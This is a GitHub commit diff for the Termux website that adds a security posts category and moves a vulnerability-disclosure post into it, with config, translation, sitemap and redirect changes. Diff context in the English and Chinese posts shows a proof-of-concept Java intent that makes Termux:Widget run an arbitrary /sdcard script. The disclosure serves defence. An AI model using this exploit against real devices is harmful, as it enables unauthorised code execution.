Skip to content

Commit c23bfd8

Browse files
Added|Changed(posts): Add dedicated security posts category and move posts/general/2022/02/15/termux-apps-vulnerability-disclosures.html to posts/security/2022/02/15/termux-apps-vulnerability-disclosures.html
1 parent 87e5fec commit c23bfd8

14 files changed

Lines changed: 55 additions & 17 deletions

File tree

_config.yml

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -48,6 +48,7 @@ collections:
4848
feed:
4949
categories:
5050
- general
51+
- security
5152

5253
show_excerpts: true # set to true to show excerpts on posts
5354

@@ -102,6 +103,12 @@ defaults:
102103
values:
103104
category: packages
104105

106+
-
107+
scope:
108+
path: "_posts/*/security"
109+
values:
110+
category: security
111+
105112

106113
# Set page.lang for all posts files under respective languages and permalink with /en/:collection prefix
107114
-

_data/posts/t/cn/views.yml

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,9 @@ index:
33
apps: 应用
44
general: 常规
55
packages:
6+
security: 安全
67
apps_posts: 关于应用的文章
78
general_posts: 常规文章
89
packages_posts: 关于软件包的文章
10+
security_posts: 安全类文章
911
subscribe_to_rss_feed: 订阅RSS源

_data/posts/t/en/views.yml

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,9 @@ index:
33
apps: Apps
44
general: General
55
packages: Packages
6+
security: Security
67
apps_posts: Apps Posts
78
general_posts: General Posts
89
packages_posts: Packages Posts
10+
security_posts: Security Posts
911
subscribe_to_rss_feed: Subscribe to RSS feed

_data/sitemap.yml

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,4 +2,6 @@ excludes:
22
- /redirects.json
33
- /feed.xml
44
- /general/2022/02/15/termux-apps-vulnerability-disclosures.html
5+
- /en/posts/general/2022/02/15/termux-apps-vulnerability-disclosures.html
6+
- /cn/posts/general/2022/02/15/termux-apps-vulnerability-disclosures.html
57
- /apps/2022/02/25/termux-tasker-v0.6.0-release.html

_data/t/cn/views/navigation.yml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@ docs: 文档
44
posts: 文章
55
packages: 软件包
66
donate: 捐赠
7+
security: 安全
78
privacy_policy: 隐私政策
89

910
# Footer

_layouts/posts/index.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@ layout: page
77
- [{%- include t.html root="posts" key="views.index.general" -%}](/{{- page.lang -}}/posts/general.html)
88
- [{%- include t.html root="posts" key="views.index.apps" -%}](/{{- page.lang -}}/posts/apps.html)
99
- [{%- include t.html root="posts" key="views.index.packages" -%}](/{{- page.lang -}}/posts/packages.html)
10+
- [{%- include t.html root="posts" key="views.index.security" -%}](/{{- page.lang -}}/posts/security.html)
1011

1112
[{%- include t.html root="posts" key="views.index.subscribe_to_rss_feed" -%}](/feed.xml).
1213

_posts/cn/apps/2022-02-25-termux-tasker-v0.6.0-release.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ page_ref: /posts/apps/2022/02/25/termux-tasker-v0.6.0-release.html
55

66
`Termux:Tasker` `v0.6.0` 版本已经发布。
77

8-
**强烈建议您更新到 `v0.5.0` 或更高版本以修复 [Termux 应用程序漏洞披露](https://termux.github.io/general/2022/02/15/termux-apps-vulnerability-disclosures.html)**
8+
**强烈建议您更新到 `v0.5.0` 或更高版本以修复 [Termux 应用程序漏洞披露](https://termux.github.io/cn/posts/security/2022/02/15/termux-apps-vulnerability-disclosures.html)**
99
##
1010

1111

_posts/cn/general/2022-02-15-termux-apps-vulnerability-disclosures.md renamed to _posts/cn/security/2022-02-15-termux-apps-vulnerability-disclosures.md

Lines changed: 8 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,8 @@
11
---
22
title: "Termux应用程序漏洞披露"
3-
page_ref: /posts/general/2022/02/15/termux-apps-vulnerability-disclosures.html
3+
redirect_from:
4+
- /cn/posts/general/2022/02/15/termux-apps-vulnerability-disclosures.html
5+
page_ref: /posts/security/2022/02/15/termux-apps-vulnerability-disclosures.html
46
---
57

68
这是 `termux-app``termux-tasker``termux-widget` 的漏洞报告。
@@ -86,11 +88,11 @@ context.sendBroadcast(intent);
8688
或者从任何一个应用程序,执行以下 Java 代码:
8789

8890
```java
89-
Intent intent = new Intent();
90-
intent.setClassName("com.termux.widget", "com.termux.widget.TermuxLaunchShortcutActivity");
91-
intent.setData(Uri.parse("/sdcard/exploit.sh"));
92-
intent.putExtra("com.termux.shortcut.token", "22e30b81-5d67-4ee3-be0e-66169f637025");
93-
startActivity(intent);
91+
Intent intent = new Intent();
92+
intent.setClassName("com.termux.widget", "com.termux.widget.TermuxLaunchShortcutActivity");
93+
intent.setData(Uri.parse("/sdcard/exploit.sh"));
94+
intent.putExtra("com.termux.shortcut.token", "22e30b81-5d67-4ee3-be0e-66169f637025");
95+
startActivity(intent);
9496
```
9597

9698
Termux 应用程序将会执行使用 `/data/data/com.termux/files/usr/bin/sh` 执行 `/sdcard/exploit.sh` 脚本,`/sdcard` 被挂载为 `noexec` 也没有问题。

_posts/en/apps/2022-02-25-termux-tasker-v0.6.0-release.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@ page_ref: /posts/apps/2022/02/25/termux-tasker-v0.6.0-release.html
66

77
The `Termux:Tasker` `v0.6.0` is out.
88

9-
**It is highly recommended that you update to `v0.5.0` or higher for fixes for vulnerabilities disclosed in the [Termux Apps Vulnerability Disclosures](https://termux.github.io/general/2022/02/15/termux-apps-vulnerability-disclosures.html) post.**
9+
**It is highly recommended that you update to `v0.5.0` or higher for fixes for vulnerabilities disclosed in the [Termux Apps Vulnerability Disclosures](https://termux.github.io/en/posts/security/2022/02/15/termux-apps-vulnerability-disclosures.html) post.**
1010
##
1111

1212

_posts/en/general/2022-02-15-termux-apps-vulnerability-disclosures.md renamed to _posts/en/security/2022-02-15-termux-apps-vulnerability-disclosures.md

Lines changed: 9 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,9 @@
11
---
22
title: "Termux Apps Vulnerability Disclosures"
3-
redirect_from: /general/2022/02/15/termux-apps-vulnerability-disclosures.html
4-
page_ref: /posts/general/2022/02/15/termux-apps-vulnerability-disclosures.html
3+
redirect_from:
4+
- /general/2022/02/15/termux-apps-vulnerability-disclosures.html
5+
- /en/posts/general/2022/02/15/termux-apps-vulnerability-disclosures.html
6+
page_ref: /posts/security/2022/02/15/termux-apps-vulnerability-disclosures.html
57
---
68

79
This is a vulnerability report for `termux-app`, `termux-tasker` and `termux-widget`.
@@ -88,11 +90,11 @@ The `Termux:Widget` "security" worked by [generating a token](https://github.com
8890
Or use java from any app.
8991

9092
```java
91-
Intent intent = new Intent();
92-
intent.setClassName("com.termux.widget", "com.termux.widget.TermuxLaunchShortcutActivity");
93-
intent.setData(Uri.parse("/sdcard/exploit.sh"));
94-
intent.putExtra("com.termux.shortcut.token", "22e30b81-5d67-4ee3-be0e-66169f637025");
95-
startActivity(intent);
93+
Intent intent = new Intent();
94+
intent.setClassName("com.termux.widget", "com.termux.widget.TermuxLaunchShortcutActivity");
95+
intent.setData(Uri.parse("/sdcard/exploit.sh"));
96+
intent.putExtra("com.termux.shortcut.token", "22e30b81-5d67-4ee3-be0e-66169f637025");
97+
startActivity(intent);
9698
```
9799

98100
The termux app will run the `/sdcard/exploit.sh` script with `/data/data/com.termux/files/usr/bin/sh` and `/sdcard` being mounted as `noexec` would not be an issue.

0 commit comments

Comments
 (0)